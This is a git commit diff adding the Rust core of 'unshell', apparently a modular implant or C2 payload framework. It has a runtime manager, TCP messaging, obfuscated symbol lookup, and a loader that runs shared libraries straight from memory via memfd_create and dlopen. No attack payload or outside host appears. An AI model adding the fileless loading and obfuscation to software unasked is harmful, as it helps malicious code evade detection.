mirror of
https://github.com/Astatin3/unshell.git
synced 2026-06-09 06:47:59 -06:00
Move manager into it's own project
This commit is contained in:
@@ -0,0 +1,39 @@
|
||||
// use std::collections::HashMap;
|
||||
use std::fmt::Debug;
|
||||
use unshell_lib::Result;
|
||||
use unshell_lib::config::RuntimeConfig;
|
||||
|
||||
use crate::ModuleRuntime;
|
||||
|
||||
pub struct PayloadConfig {
|
||||
pub id: &'static str,
|
||||
pub components: Vec<NamedComponent>,
|
||||
pub runtime_config: Vec<RuntimeConfig>,
|
||||
}
|
||||
|
||||
#[derive(Clone)]
|
||||
pub struct NamedComponent {
|
||||
pub name: &'static str,
|
||||
|
||||
// + Sync + Sync + Sync + Sync + Sync + Sync + Sync + Sync
|
||||
pub get_interface: &'static (dyn Fn() -> Option<&'static (dyn InterfaceWrapper + Sync)> + Sync),
|
||||
pub start_runtime:
|
||||
&'static (dyn Fn(&'static RuntimeConfig) -> Result<Box<dyn ModuleRuntime>> + Sync),
|
||||
}
|
||||
|
||||
impl Debug for NamedComponent {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
f.debug_struct("NamedComponent")
|
||||
.field("name", &self.name)
|
||||
// .field("get_interface", &self.get_interface)
|
||||
// .field("start_runtime", &self.start_runtime)
|
||||
.finish()
|
||||
}
|
||||
}
|
||||
|
||||
/// Trait that wraps the get_interface<T>() function inside of components
|
||||
pub trait InterfaceWrapper: Send + Sync {
|
||||
fn get_interface<T: 'static>(&self) -> Option<T>
|
||||
where
|
||||
Self: Sized;
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
mod manager;
|
||||
mod module;
|
||||
mod module_interface;
|
||||
pub mod network;
|
||||
mod proc_load;
|
||||
|
||||
pub mod interface;
|
||||
|
||||
use std::sync::{Arc, Mutex};
|
||||
|
||||
pub use manager::Manager;
|
||||
pub use module::Module;
|
||||
|
||||
pub use interface::{InterfaceWrapper, NamedComponent};
|
||||
|
||||
extern crate unshell_lib;
|
||||
use unshell_lib::Result;
|
||||
|
||||
/// Trait for defining modules that have a runtime.
|
||||
pub trait ModuleRuntime: Send + Sync {
|
||||
fn init(&mut self, manager: Arc<Mutex<Manager>>) -> Result<()>;
|
||||
|
||||
/// Returns true if the module is running.
|
||||
/// After returning false, the module will be dropped.
|
||||
fn is_running(&self) -> bool;
|
||||
/// Consumes the module, implementation should kill whatever is running.
|
||||
fn kill(self: Box<Self>);
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
use crate::Manager;
|
||||
use unshell_lib::Announcement;
|
||||
|
||||
impl Manager {
|
||||
pub fn recv_announcement(&mut self, announcement: &Announcement) {
|
||||
match announcement {
|
||||
Announcement::TestAnnouncement(str) => {
|
||||
println!("Got test announcement: {}", str)
|
||||
} // Announcement::GetRuntimes => todo!(),
|
||||
// Announcement::GetRuntimesAck(_) => todo!(),
|
||||
// Announcement::StartRuntime(runtime_config) => todo!(),
|
||||
// Announcement::StartRuntimeAck(_) => todo!(),
|
||||
// _ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
use unshell_lib::{Announcement, Result};
|
||||
|
||||
use crate::network::Stream;
|
||||
|
||||
use crate::Manager;
|
||||
|
||||
impl Manager {
|
||||
pub fn add_connection(&mut self, connection: Box<dyn Stream<Announcement>>) {
|
||||
self.connections.push(connection);
|
||||
}
|
||||
|
||||
pub fn prune_connections(&mut self) {
|
||||
self.connections.retain(|c| c.is_alive());
|
||||
}
|
||||
|
||||
pub fn recv_connection_announcements(&mut self) {
|
||||
// Collect all incoming announcements
|
||||
let announcements = self
|
||||
.connections
|
||||
.iter_mut()
|
||||
.map(|c| c.try_read())
|
||||
.flat_map(|array| array)
|
||||
.collect::<Vec<Announcement>>();
|
||||
|
||||
for announcement in announcements {
|
||||
self.recv_announcement(&announcement)
|
||||
}
|
||||
}
|
||||
|
||||
pub fn broadcast(&mut self, announcement: Announcement) -> Result<()> {
|
||||
for connection in &mut self.connections {
|
||||
connection.write(announcement.clone())?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
mod announcement;
|
||||
mod connection;
|
||||
|
||||
use std::{
|
||||
collections::HashMap,
|
||||
sync::{Arc, Mutex},
|
||||
thread::{self, JoinHandle},
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use unshell_lib::{Announcement, Result, config::RuntimeConfig, debug, warn};
|
||||
use unshell_obfuscate::symbol;
|
||||
|
||||
use crate::{
|
||||
ModuleRuntime,
|
||||
interface::{NamedComponent, PayloadConfig},
|
||||
module::Module,
|
||||
network::Stream,
|
||||
};
|
||||
|
||||
// #[derive(Debug)]
|
||||
pub struct Manager {
|
||||
id: &'static str,
|
||||
|
||||
handle: Option<JoinHandle<()>>,
|
||||
|
||||
pub modules: Vec<Module>,
|
||||
|
||||
components: HashMap<String, NamedComponent>,
|
||||
active_runtimes: Vec<Box<dyn ModuleRuntime>>,
|
||||
|
||||
pub connections: Vec<Box<dyn Stream<Announcement>>>,
|
||||
}
|
||||
|
||||
// static mut MANAGER_RUNTIME: Option<Arc<Mutex<Manager>>> = None;
|
||||
|
||||
impl Manager {
|
||||
fn new(id: &'static str, components: Vec<NamedComponent>, modules: Vec<Module>) -> Self {
|
||||
Self {
|
||||
id,
|
||||
handle: None,
|
||||
|
||||
modules,
|
||||
components: components
|
||||
.into_iter()
|
||||
.map(|c| (c.name.to_string(), c))
|
||||
.collect(),
|
||||
active_runtimes: Vec::new(),
|
||||
|
||||
connections: Vec::new(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Create Manager, and run initialization for each Module
|
||||
#[allow(static_mut_refs)]
|
||||
pub fn start(config: &'static PayloadConfig, modules: Vec<Module>) -> Arc<Mutex<Self>> {
|
||||
// Construct self
|
||||
let mut this = Self::new(&config.id, config.components.clone(), modules);
|
||||
|
||||
debug!("Imported {} base components", this.components.len());
|
||||
debug!("Imported {} base runtimes", &config.runtime_config.len());
|
||||
|
||||
// Load each of the pre-prepared modules
|
||||
this.load_components();
|
||||
|
||||
let this = Arc::new(Mutex::new(this));
|
||||
|
||||
debug!("Creating runtimes...");
|
||||
for runtime in &config.runtime_config {
|
||||
Self::create_runtime(this.clone(), runtime);
|
||||
}
|
||||
|
||||
debug!("Starting runtimes...");
|
||||
for runtime in &mut this.lock().unwrap().active_runtimes {
|
||||
if let Err(e) = runtime.init(this.clone()) {
|
||||
warn!("Failed to start runtime: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
this.lock().unwrap().handle = Some(Self::start_thread(this.clone()));
|
||||
|
||||
this
|
||||
}
|
||||
|
||||
fn load_components(&mut self) {
|
||||
for module in &self.modules {
|
||||
// Load get_components function from shared object library
|
||||
let component_func = match module
|
||||
.get_symbol::<fn() -> Vec<NamedComponent>>(symbol!("get_components").as_bytes())
|
||||
{
|
||||
Ok(func) => func,
|
||||
Err(_) => {
|
||||
warn!("get_components function not found");
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
let components = component_func();
|
||||
let component_name = "TODO"; //TODO: Make this actually load component name
|
||||
|
||||
debug!("{} - Retrieved payload metadata", component_name);
|
||||
|
||||
// Add each component into self
|
||||
for c in components {
|
||||
debug!("{} - Found component '{}'", "TODO", c.name);
|
||||
self.components.insert(c.name.to_owned(), c);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The manager thread. receives announcements, and kills runtimes.
|
||||
fn start_thread(this: Arc<Mutex<Self>>) -> JoinHandle<()> {
|
||||
thread::spawn(move || {
|
||||
loop {
|
||||
thread::sleep(Duration::from_millis(10));
|
||||
|
||||
let mut this_lock = this.lock().unwrap();
|
||||
|
||||
if this_lock.active_runtimes.len() <= 0 {
|
||||
debug!("There are no more runtimes! Exiting...");
|
||||
break;
|
||||
}
|
||||
|
||||
this_lock.active_runtimes.retain(|runtime| {
|
||||
if runtime.is_running() {
|
||||
true
|
||||
} else {
|
||||
debug!("Runtime exited!"); //TODO: Make this better
|
||||
false
|
||||
}
|
||||
});
|
||||
|
||||
// Read announcements
|
||||
this_lock.recv_connection_announcements();
|
||||
|
||||
// Prune dead connections
|
||||
this_lock.prune_connections();
|
||||
|
||||
drop(this_lock)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/// Wait for manager thread to finish.
|
||||
pub fn join(this: Arc<Mutex<Self>>) {
|
||||
loop {
|
||||
if this.lock().unwrap().handle.as_ref().unwrap().is_finished() {
|
||||
break;
|
||||
}
|
||||
|
||||
thread::sleep(Duration::from_millis(100));
|
||||
}
|
||||
}
|
||||
|
||||
/// Start a runtime
|
||||
fn create_runtime<'a>(this: Arc<Mutex<Self>>, runtime: &'static RuntimeConfig) {
|
||||
let mut this_lock = this.lock().unwrap();
|
||||
|
||||
let component = match this_lock.components.get(&runtime.parent_component) {
|
||||
Some(component) => component,
|
||||
None => {
|
||||
warn!(
|
||||
"Could not find component '{}' which is referenced by runtime: {}",
|
||||
runtime.parent_component, runtime.name
|
||||
);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
debug!("Starting runtime: {}", runtime.name);
|
||||
|
||||
let runtime = match (*component.start_runtime)(runtime) {
|
||||
Ok(runtime) => runtime,
|
||||
Err(e) => {
|
||||
warn!("Failed to start runtime: {:?}", e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
this_lock.active_runtimes.push(runtime);
|
||||
}
|
||||
|
||||
pub fn add_runtime(this: Arc<Mutex<Self>>, runtime: &'static RuntimeConfig) -> Result<()> {
|
||||
Self::create_runtime(this.clone(), runtime);
|
||||
|
||||
this.lock()
|
||||
.unwrap()
|
||||
.active_runtimes
|
||||
.iter_mut()
|
||||
.last()
|
||||
.unwrap()
|
||||
.init(this.clone())
|
||||
}
|
||||
|
||||
pub fn get_name(&self) -> &str {
|
||||
self.id
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
use libloading::{Library, Symbol};
|
||||
use unshell_lib::{
|
||||
ModuleError, Result,
|
||||
logger::{self, SetupLogger, logger},
|
||||
warn,
|
||||
};
|
||||
|
||||
use crate::proc_load::memfd_create_dlopen;
|
||||
|
||||
pub struct Module {
|
||||
lib: Library,
|
||||
}
|
||||
|
||||
impl Module {
|
||||
pub fn new(path: &str) -> Result<Self> {
|
||||
let lib = unsafe { Library::new(&path) }
|
||||
.map_err(|e| ModuleError::LibLoadingError(e.to_string()))?;
|
||||
|
||||
let this = Self { lib };
|
||||
|
||||
if let Ok(setup_logger) = this.get_symbol::<SetupLogger>(b"setup_logger") {
|
||||
setup_logger(logger::logger());
|
||||
} else {
|
||||
warn!("setup_logger not found");
|
||||
}
|
||||
|
||||
Ok(this)
|
||||
}
|
||||
|
||||
// TODO: Implement actual reflective ELF loading (possibly even custom format)
|
||||
// Look at https://github.com/weizhiao/rust-elfloader
|
||||
pub fn new_bytes(bytes: &[u8]) -> Result<Self> {
|
||||
let lib =
|
||||
memfd_create_dlopen(bytes).map_err(|e| ModuleError::Error(e.to_string().into()))?;
|
||||
|
||||
let this = Self { lib };
|
||||
|
||||
if let Ok(setup_logger) = this.get_symbol::<SetupLogger>(b"setup_logger") {
|
||||
setup_logger(logger());
|
||||
} else {
|
||||
warn!("setup_logger not found");
|
||||
}
|
||||
|
||||
Ok(this)
|
||||
}
|
||||
pub fn get_symbol<T>(&self, symbol: &[u8]) -> Result<Symbol<'_, T>> {
|
||||
let symbol = unsafe { self.lib.get::<T>(symbol) }
|
||||
.map_err(|e| ModuleError::LinkError(format!("Failed to load symbol: {}", e)))?;
|
||||
|
||||
Ok(symbol)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
/// "Module Interface" helper macro that creates a struct with function pointers
|
||||
/// Useful for defining and requiring modules' functions accross FFI boundry.
|
||||
#[macro_export]
|
||||
macro_rules! module_interface {
|
||||
($(#[$struct_meta:meta])* $interface_name:ident { $($(#[$fn_meta:meta])* fn $fn_name:ident $(<$($gen:ident),+ $(,)?>)?($($arg:ident : $ty:ty),* $(,)?) $(-> $ret:ty)? $(where $($where_clause:tt)*)?);* $(;)? }) => {
|
||||
|
||||
#[repr(C)]
|
||||
#[allow(non_camel_case_types)]
|
||||
#[derive(Clone, Copy)]
|
||||
#[allow(improper_ctypes_definitions)]
|
||||
$(#[$struct_meta])*
|
||||
pub struct $interface_name {
|
||||
$(
|
||||
// This line will FAIL TO COMPILE if you use generics in the macro input.
|
||||
// You MUST use concrete types like *mut c_void for "generic" data.
|
||||
$fn_name: extern "C" fn($($ty),*) $(-> $ret)?,
|
||||
)*
|
||||
}
|
||||
|
||||
impl $interface_name {
|
||||
$(
|
||||
#[inline(always)]
|
||||
$(#[$fn_meta])* // Propagate function attributes
|
||||
// This is the fix for the `impl` block.
|
||||
// It adds the captured generics and where-clause to the wrapper function.
|
||||
pub fn $fn_name $(<$($gen),+>)? (&self, $($arg: $ty),*) $(-> $ret)?
|
||||
$(where $($where_clause)*)?
|
||||
{
|
||||
(self.$fn_name)($($arg),*)
|
||||
}
|
||||
)*
|
||||
|
||||
/// Create from raw function pointers
|
||||
///
|
||||
/// # Safety
|
||||
///
|
||||
/// The caller must ensure all function pointers are valid and have
|
||||
/// the correct signatures
|
||||
pub fn from_raw(
|
||||
$($fn_name: extern "C" fn($($ty),*) $(-> $ret)?),*
|
||||
) -> Self {
|
||||
Self {
|
||||
$($fn_name),*
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// impl crate::module::Interface for $interface_name {
|
||||
// fn as_any(self: Box<Self>) -> Box<dyn std::any::Any> {
|
||||
// self
|
||||
// }
|
||||
// }
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
// mod connection;
|
||||
mod tcp_stream;
|
||||
|
||||
pub use tcp_stream::TcpStream;
|
||||
|
||||
use unshell_lib::ModuleError;
|
||||
|
||||
/// This is the data transmission type
|
||||
pub trait Stream<T>: Send + Sync {
|
||||
// fn get_info(&self) -> String;
|
||||
fn is_alive(&self) -> bool;
|
||||
|
||||
fn has_recv(&self) -> bool;
|
||||
|
||||
/// Possibly blocking stream read function
|
||||
fn read(&mut self) -> Vec<T>;
|
||||
|
||||
/// Non-blocking read function
|
||||
fn try_read(&mut self) -> Vec<T> {
|
||||
if self.has_recv() {
|
||||
self.read()
|
||||
} else {
|
||||
Vec::new()
|
||||
}
|
||||
}
|
||||
|
||||
fn write(&mut self, data: T) -> Result<(), ModuleError>;
|
||||
|
||||
fn try_clone(&self) -> Result<Box<dyn Stream<T> + Send + Sync>, ModuleError>;
|
||||
}
|
||||
@@ -0,0 +1,128 @@
|
||||
use std::{
|
||||
io::{Read, Write},
|
||||
net,
|
||||
sync::{
|
||||
Arc,
|
||||
atomic::{AtomicBool, Ordering},
|
||||
},
|
||||
};
|
||||
|
||||
use unshell_lib::{Announcement, ModuleError, Result, debug};
|
||||
|
||||
use crate::network::Stream;
|
||||
|
||||
pub struct TcpStream(Arc<AtomicBool>, net::TcpStream);
|
||||
|
||||
impl TcpStream {
|
||||
pub fn new(stream: net::TcpStream) -> Self {
|
||||
stream.set_nonblocking(true).unwrap();
|
||||
Self(Arc::new(AtomicBool::new(true)), stream)
|
||||
}
|
||||
|
||||
// Call this when the stream ends
|
||||
fn disconnected(&mut self) {
|
||||
self.0.store(false, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
impl Stream<Announcement> for TcpStream {
|
||||
fn is_alive(&self) -> bool {
|
||||
// if self.1.take_error().unwrap_or(None).is_some() {
|
||||
// // self.1.pe
|
||||
// warn!("Disconnected #################");
|
||||
// return true;
|
||||
// } else {
|
||||
// return false;
|
||||
// }
|
||||
|
||||
// let mut buf = [0u8; 1];
|
||||
// match self.1.peek(&mut buf) {
|
||||
// Ok(n) => n == 1,
|
||||
// Err(_) => false,
|
||||
// }
|
||||
|
||||
let mut buf = [0u8; 1];
|
||||
match self.1.peek(&mut buf) {
|
||||
Ok(0) => false, // Connection closed (EOF)
|
||||
Ok(_) => true, // Data available or connection alive
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => true, // No data but alive
|
||||
Err(_) => false, // Connection error
|
||||
}
|
||||
|
||||
// true
|
||||
|
||||
// self.0.load(Ordering::Relaxed)
|
||||
}
|
||||
|
||||
fn has_recv(&self) -> bool {
|
||||
let mut buf = [0u8; 1];
|
||||
match self.1.peek(&mut buf) {
|
||||
Ok(n) if n > 0 => true, // Data is available
|
||||
Ok(_) => false, // EOF (connection closed)
|
||||
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock => false, // No data
|
||||
Err(_) => false,
|
||||
}
|
||||
// false
|
||||
}
|
||||
|
||||
fn read(&mut self) -> Vec<Announcement> {
|
||||
let mut ret = Vec::new();
|
||||
|
||||
while self.has_recv() {
|
||||
let mut size_buf = [0u8; 4];
|
||||
match self.1.read_exact(&mut size_buf) {
|
||||
Ok(()) => {}
|
||||
Err(_) => {
|
||||
self.disconnected();
|
||||
break;
|
||||
}
|
||||
};
|
||||
let size = u32::from_be_bytes(size_buf);
|
||||
|
||||
let mut buf = vec![0u8; size as usize];
|
||||
|
||||
match self.1.read_exact(&mut buf) {
|
||||
Ok(()) => {}
|
||||
Err(_) => {
|
||||
self.disconnected();
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(a) = Announcement::decode(&buf) {
|
||||
ret.push(a);
|
||||
} else {
|
||||
debug!("Malformed data");
|
||||
}
|
||||
}
|
||||
|
||||
ret
|
||||
}
|
||||
|
||||
fn write(&mut self, announcement: Announcement) -> Result<()> {
|
||||
let bytes = announcement.encode();
|
||||
|
||||
// Write length of bytes
|
||||
self.1
|
||||
.write_all(&u32::to_be_bytes(bytes.len() as u32))
|
||||
.map_err(|e| ModuleError::Error(e.to_string().into()))?;
|
||||
// Write data
|
||||
self.1
|
||||
.write_all(&bytes)
|
||||
.map_err(|e| ModuleError::Error(e.to_string().into()))?;
|
||||
// Flush data
|
||||
self.1
|
||||
.flush()
|
||||
.map_err(|e| ModuleError::Error(e.to_string().into()))?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn try_clone(&self) -> Result<Box<dyn Stream<Announcement> + Send + Sync>> {
|
||||
Ok(Box::new(Self(
|
||||
self.0.clone(),
|
||||
self.1
|
||||
.try_clone()
|
||||
.map_err(|e| ModuleError::Error(e.to_string().into()))?,
|
||||
)))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
// Load a shared object by saving bytes to a filesystem in /proc
|
||||
|
||||
use std::{ffi::CString, io};
|
||||
|
||||
use libloading::Library;
|
||||
use unshell_lib::{ModuleError, Result, warn};
|
||||
|
||||
// The `memfd_create` syscall flags (MFD_CLOEXEC is common and good practice)
|
||||
const MFD_CLOEXEC: u32 = 0x0001;
|
||||
const MFD_ALLOW_SEALING: u32 = 0x0002;
|
||||
|
||||
pub fn memfd_create_dlopen(payload: &[u8]) -> Result<Library> {
|
||||
use rand::distr::{Alphanumeric, SampleString};
|
||||
|
||||
let string = Alphanumeric.sample_string(&mut rand::rng(), 16);
|
||||
|
||||
// 1. Create the anonymous in-memory file descriptor using the raw syscall
|
||||
let c_name = CString::new(string)
|
||||
.map_err(|e| ModuleError::LibLoadingError(format!("CString conversion failed: {e:?}")))?;
|
||||
|
||||
let fd = unsafe { libc::memfd_create(c_name.as_ptr(), MFD_CLOEXEC | MFD_ALLOW_SEALING) };
|
||||
|
||||
if fd < 0 {
|
||||
return Err(ModuleError::LibLoadingError(format!(
|
||||
"IO Error {:?}",
|
||||
io::Error::last_os_error().to_string()
|
||||
)));
|
||||
}
|
||||
|
||||
// 2. Write the payload bytes to the in-memory file
|
||||
let bytes_written =
|
||||
unsafe { libc::write(fd, payload.as_ptr() as *const libc::c_void, payload.len()) };
|
||||
|
||||
if bytes_written != payload.len() as isize {
|
||||
// If write fails or is incomplete, clean up the file descriptor
|
||||
unsafe {
|
||||
libc::close(fd);
|
||||
}
|
||||
return Err(ModuleError::LibLoadingError(
|
||||
"Failed to write full payload to memfd".into(),
|
||||
));
|
||||
}
|
||||
|
||||
// Optional: Seal the file to prevent modification, common for security/integrity
|
||||
// Note: The MFD_ALLOW_SEALING flag must be set during creation for this to work.
|
||||
let seals = libc::F_SEAL_GROW | libc::F_SEAL_SHRINK | libc::F_SEAL_WRITE;
|
||||
if unsafe { libc::fcntl(fd, libc::F_ADD_SEALS, seals) } == -1 {
|
||||
// Log a warning but continue if sealing fails (e.g., due to permissions)
|
||||
warn!(
|
||||
"memfd_create_dlopen: Failed to apply seals. Error: {}",
|
||||
io::Error::last_os_error()
|
||||
);
|
||||
}
|
||||
|
||||
// 3. Construct the virtual path to the in-memory file
|
||||
// This path is necessary for dlopen to work, as dlopen expects a filesystem path.
|
||||
let dl_path = format!("/proc/self/fd/{}", fd);
|
||||
|
||||
// 4. Use dlopen (via libloading) on the virtual path
|
||||
Ok(unsafe {
|
||||
Library::new(&dl_path)
|
||||
.map_err(|e| ModuleError::LibLoadingError(format!("Failed to import library: {}", e)))?
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user